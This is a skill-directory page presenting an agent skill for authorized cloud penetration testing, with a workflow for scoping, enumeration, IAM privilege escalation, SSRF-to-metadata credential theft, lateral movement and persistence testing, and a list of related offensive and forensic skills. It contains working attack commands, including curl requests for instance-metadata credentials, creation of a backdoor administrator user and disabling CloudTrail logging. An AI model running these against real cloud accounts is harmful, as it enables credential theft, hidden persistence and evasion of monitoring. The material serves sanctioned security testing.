conducting-cloud-penetration-testing skill
'This skill outlines methodologies for performing authorized penetration
Is the conducting-cloud-penetration-testing skill safe?
Clean: nothing in its files matched our rules. We read 4 files in the folder on 2026-09-28.
No findings.
Install the conducting-cloud-penetration-testing skill
A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.
git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git /tmp/Anthropic-Cybersecurity-Skills mkdir -p ~/.claude/skills cp -r /tmp/Anthropic-Cybersecurity-Skills/skills/conducting-cloud-penetration-testing ~/.claude/skills/conducting-cloud-penetration-testing
In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub
The instructions your agent would load
SKILL.md as published, without the frontmatter. Read it on GitHub
Conducting Cloud Penetration Testing
When to Use
- When performing authorized security assessments of cloud environments before production deployment
- When validating cloud security controls after a major architectural change or migration
- When compliance requirements mandate annual penetration testing of cloud infrastructure
- When testing incident response readiness by simulating realistic cloud-based attack scenarios
- When assessing lateral movement risk across multi-account or multi-cloud environments
Do not use for unauthorized testing against cloud accounts, for testing cloud provider infrastructure itself (covered by the shared responsibility model), or for DDoS simulation without explicit cloud provider approval.
Prerequisites
- Written authorization from the cloud account owner and scope definition document
- AWS, Azure, or GCP penetration testing policy acknowledgment (AWS no longer requires pre-approval for most services)
- Isolated testing account or explicitly scoped production account with breakglass procedures
- Cloud-specific offensive tooling installed: Pacu (AWS), ScoutSuite, Prowler, CloudFox
- MITRE ATT&CK Cloud matrix for finding classification
Workflow
Step 1: Define Scope and Rules of Engagement
Establish testing boundaries based on the shared responsibility model. The customer is responsible for testing configurations, IAM policies, application security, and data protection. The cloud provider manages physical infrastructure, hypervisor, and managed service internals.
Cloud Penetration Test Scope Document
=======================================
Target: AWS Account 123456789012 (Production)
Testing Window: 2025-02-24 08:00 UTC to 2025-02-28 18:00 UTC
Authorization: Signed by CISO, dated 2025-02-20
IN SCOPE:
- IAM users, roles, policies, and cross-account trust
- EC2 instances, security groups, and network ACLs
- S3 bucket policies and data access controls
- Lambda functions, API Gateway endpoints
- RDS/DynamoDB access controls and encryption
- EKS cluster RBAC and network policies
- CloudTrail, Config, and monitoring gaps
OUT OF SCOPE:
- AWS managed service internals (RDS engine, Lambda runtime)
- DDoS attacks or volumetric testing
- Physical infrastructure or hypervisor attacks
- Social engineering of AWS support
EMERGENCY CONTACT: security-ops@company.com, +1-555-0199Step 2: Reconnaissance and Cloud Enumeration
Use cloud-specific tools to enumerate the attack surface: exposed services, public IPs, S3 buckets, IAM configurations, and metadata endpoints.
# ScoutSuite multi-cloud assessment
scout suite aws --profile target-account --report-dir ./scout-report
# Prowler comprehensive AWS security assessment
prowler aws -M json-ocsf -o ./prowler-output --profile target-account
# CloudFox for identifying privilege escalation paths
cloudfox aws --profile target-account all-checks
# Enumerate public S3 buckets
for bucket in $(aws s3api list-buckets --query 'Buckets[*].Name' --output text); do
aws s3api get-bucket-policy-status --bucket $bucket 2>/dev/null | grep -q "true" && echo "PUBLIC: $bucket"
done
# Check for IMDS v1 (vulnerable to SSRF)
aws ec2 describe-instances \
--query 'Reservations[*].Instances[*].[InstanceId,MetadataOptions.HttpTokens]' \
--output tableStep 3: IAM Privilege Escalation Testing
Use Pacu to identify and exploit IAM misconfigurations that allow privilege escalation from a low-privilege starting point to administrative access.
# Initialize Pacu session
pacu
# Set stolen or test credentials
set_keys --key-alias test-creds
# Run IAM enumeration modules
run iam__enum_users_roles_policies_groups
run iam__enum_permissions
# Check for privilege escalation paths
run iam__privesc_scan
# Common escalation paths to test:
# 1. iam:CreatePolicyVersion - Create new policy version with admin access
# 2. iam:AttachUserPolicy - Attach AdministratorAccess to self
# 3. iam:PassRole + lambda:CreateFunction - Create Lambda with admin role
# 4. iam:PassRole + ec2:RunInstances - Launch EC2 with admin instance profile
# 5. sts:AssumeRole - Cross-account role assumption without MFA conditionStep 4: SSRF to Cloud Metadata Service Exploitation
Test web applications for Server-Side Request Forgery vulnerabilities that can reach the instance metadata service (IMDS) at 169.254.169.254 to steal IAM role credentials.
# Test for IMDS v1 access (no token required)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Test for IMDS v2 (requires token - more secure)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Azure IMDS equivalent
curl -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# GCP metadata service
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"Step 5: Lateral Movement and Data Access
Test cross-account role assumptions, VPC peering connections, and shared resource access to map lateral movement opportunities.
# Enumerate cross-account role trusts
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.Statement[?Principal.AWS!=`null`]].[RoleName,Arn]' --output table
# Test cross-account assumption
aws sts assume-role \
--role-arn arn:aws:iam::987654321098:role/CrossAccountRole \
--role-session-name pentest-session
# Enumerate accessible S3 data with stolen credentials
aws s3 ls --recursive s3://target-bucket/ --summarize
# Check Lambda environment variables for secrets
aws lambda list-functions --query 'Functions[*].[FunctionName]' --output text | while read fn; do
aws lambda get-function-configuration --function-name "$fn" \
--query 'Environment.Variables' --output json 2>/dev/null
doneStep 6: Persistence and Detection Evasion Testing
Test whether the organization's monitoring detects persistence mechanisms such as new IAM users, access keys, Lambda backdoors, or CloudTrail disabling.
# Test: Create backdoor IAM user (authorized test only)
aws iam create-user --user-name pentest-backdoor
aws iam create-access-key --user-name pentest-backdoor
aws iam attach-user-policy --user-name pentest-backdoor \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Test: Disable CloudTrail (verify GuardDuty alerts)
aws cloudtrail stop-logging --name management-trail
# Test: Create Lambda for persistence (authorized test only)
# Verify: Did GuardDuty generate Stealth:IAMUser/CloudTrailLoggingDisabled?
# Verify: Did Security Hub alert on the new admin user?
# CLEANUP: Remove all persistence artifacts after testing
aws iam delete-access-key --user-name pentest-backdoor --access-key-id AKIAEXAMPLE
aws iam detach-user-policy --user-name pentest-backdoor \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam delete-user --user-name pentest-backdoor
aws cloudtrail start-logging --name management-trailStep 7: Report Findings with MITRE ATT&CK Mapping
Document all findings mapped to the MITRE ATT&CK Cloud matrix with severity, proof of concept, business impact, and remediation guidance.
Key Concepts
Tools & Systems
- Pacu: AWS-focused exploitation framework with modules for IAM enumeration, privilege escalation, and persistence testing
- ScoutSuite: Multi-cloud (AWS, Azure, GCP) security auditing tool generating comprehensive risk reports from API data collection
- CloudFox: AWS and Azure enumeration tool for identifying attack paths, privilege escalation vectors, and data access opportunities
- Prowler: Open-source cloud security assessment tool with 300+ checks across AWS, Azure, and GCP
- Cartography: Neo4j-based tool that maps relationships between cloud resources for visual attack path analysis
Common Scenarios
Scenario: SSRF in Web Application Leads to Full Account Compromise
Context: A penetration tester discovers an SSRF vulnerability in a web application hosted on an EC2 instance running IMDSv1. The instance has an IAM role with broad S3 and Lambda permissions.
Approach:
- Exploit the SSRF to reach http://169.254.169.254/latest/meta-data/iam/security-credentials/
- Extract temporary IAM credentials (AccessKeyId, SecretAccessKey, SessionToken)
- Use the credentials to enumerate accessible S3 buckets and download sensitive data
- Check if the role has iam:PassRole + lambda:CreateFunction for privilege escalation to admin
- Document the full attack chain from SSRF to account-level compromise
- Recommend: enforce IMDSv2, reduce IAM role scope, add VPC endpoint policies blocking IMDS from application tier
Pitfalls: Not testing IMDSv2 enforcement separately from IMDSv1 gives incomplete results. Failing to clean up test artifacts (backdoor users, Lambda functions) leaves real vulnerabilities after the engagement.
Output Format
Cloud Penetration Test Report
===============================
Target: AWS Account 123456789012 (Production)
Testing Period: 2025-02-24 to 2025-02-28
Methodology: MITRE ATT&CK Cloud + OWASP Cloud Testing Guide
Tester: Security Team - Authorized Engagement
EXECUTIVE SUMMARY:
Starting with read-only developer credentials, the assessment achieved
full administrative access to the production account within 3 hours through
an IAM privilege escalation chain. 47 findings identified across 7 ATT&CK tactics.
CRITICAL FINDINGS:
[PT-001] IAM Privilege Escalation via iam:CreatePolicyVersion
ATT&CK: T1098.001 (Account Manipulation: Additional Cloud Credentials)
Severity: CRITICAL
Starting Point: Developer role with iam:CreatePolicyVersion permission
Impact: Full administrative access to all account resources
Evidence: Created policy version granting iam:* and s3:* to test role
Remediation: Remove iam:CreatePolicyVersion from developer roles, add permission boundary
[PT-002] SSRF to IMDS Credential Theft
ATT&CK: T1552.005 (Unsecured Credentials: Cloud Instance Metadata API)
Severity: CRITICAL
Starting Point: Web application URL parameter vulnerable to SSRF
Impact: ExtMore skills from mukul975/Anthropic-Cybersecurity-Skills
- Aabusing-dpapi-for-credential-accessExtract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.
- Aabusing-shadow-credentials-for-privescTake over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.
- Aachieving-cmmc-level-2-compliancePrepare a defense-contractor environment for CMMC Level 2 certification: scope CUI and FCI, implement the 110 NIST SP 800-171 Rev 2 security requirements across 14 families, compute the SPRS score with the DoD Assessment Methodology, manage a compliant POA&M, and ready the organization for a C3PAO assessment. Use when an organization handles Controlled Unclassified Information (CUI) under a DoD contract, when a contract carries DFARS clause 252.204-7012/7019/7020/7021, when preparing for or responding to a CMMC assessment, when computing or improving an SPRS score, when building a System Security Plan or POA&M for 800-171, or when scoping which systems are in the CUI boundary. Keywords: CMMC, CMMC Level 2, NIST 800-171, SP 800-171 Rev 2, CUI, FCI, SPRS, DFARS 7012, C3PAO, POA&M, System Security Plan, DoD Assessment Methodology, 110 controls, defense industrial base, DIB, FedRAMP equivalency.
- Aacquiring-disk-image-with-dd-and-dcflddCreate forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.
- Aanalyzing-active-directory-acl-abuseDetect dangerous ACL misconfigurations in Active Directory using ldap3
- Aanalyzing-android-malware-with-apktoolPerform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.
- Danalyzing-api-gateway-access-logs'Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect
- Aanalyzing-apt-group-with-mitre-navigatorQuery ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups' TTPs for detection-gap analysis. Use to compare threat-actor technique coverage, find gaps in detection engineering, or produce Navigator visualizations for threat-intel reporting.
- Aanalyzing-azure-activity-logs-for-threats'Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query
- Aanalyzing-bootkit-and-rootkit-samples'Analyzes bootkit and advanced rootkit malware infecting the Master
- Aanalyzing-browser-forensics-with-hindsightParse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user's web activity from a browser profile.
- Aanalyzing-campaign-attribution-evidenceSystematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.